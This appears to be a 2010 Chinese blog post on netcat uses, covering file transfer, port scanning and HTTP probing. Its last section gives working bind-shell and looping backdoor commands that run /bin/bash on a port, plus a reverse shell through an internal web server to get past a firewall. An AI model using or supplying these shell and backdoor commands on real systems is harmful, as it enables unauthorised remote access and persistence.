Page Actions
Wiki Actions
User Actions
Submit This Story

一些netcat的用途

还是netcat的话题,发觉这个东东真是太好了…

举例

文件传输

用的最多的恐怕是传输文件,且大多是原始文件,比如Oracle的Raw分区: 假设一台192.168.1.1的机器某硬盘分区dd的东西交给nc来host:

dd if=/dev/hda3 | gzip -9 | netcat -l 7474

另一台机器去取:

netcat 192.168.1.1 7474 | pv -b > hda3.img.gz
端口扫描

这个…居然相当简单…

netcat -vv -w 1 192.168.1.1 1-1024

扫描1到1024端口,每扫描一个端口等待1秒钟,命令输出很清晰… 默认扫描TCP端口,如果指定-u参数还可以扫描UDP端口。

HTTP探测

只要向Web Server发送一定的http请求,就能获得应答: 比如我写几行请求内容, request.txt:

GET / HTTP/1.1
Host: myhost.org
Referrer: mysite.com
User-Agent: my-browser

把它发给sina:

cat request.txt | netcat www.sina.cn 80

Sina的WebServer应答:

HTTP/1.1 302 Found
Date: Fri, 03 Sep 2010 09:01:44 GMT
Server: Apache
Location: http://3g.sina.com.cn
Content-Length: 0
Connection: close
Content-Type: text/html

哦,原来Agent不明的请求被转去了3g页面~~

Telnet及监听门

我常常用netcat来作为telnet的自动化客户端。既然能在任意TCP端口监听,那么nc当然也能作为Server端… 这是TCP Server端的监听,顺便起个shell:

netcat -l -p 23 -e /bin/bash -t

客户端:

nc -vvn IP Port

能在任意端口起shell,就意味着可以留后门 :). 不过Server端在客户端断开后会自动退出,所以写进循环里!

while $1; do netcat -l -p 10000 -e /bin/bash; done

Windows可以用goto,一样的循环后门,区别只是要起一个cmd.exe而不是bash…
反而为之,我们对于局域网内的一些防火墙后面机器可以利用同在该往内的WebServer留下条小径:
想要访问的目标机器:

netcat -vv -l -p 80

Web Server:

netcat 目标机器内网ip 80 -e /bin/bash

一样,Windows起cmd.exe…:)

Discussion

Enter your comment
 
 
blog/2010/09/netcat_mass1.txt · Last modified: 2010/09/03 03:24 by MeaCulpa     Back to top
Recent changes RSS feed Creative Commons License Powered by PHP Driven by DokuWiki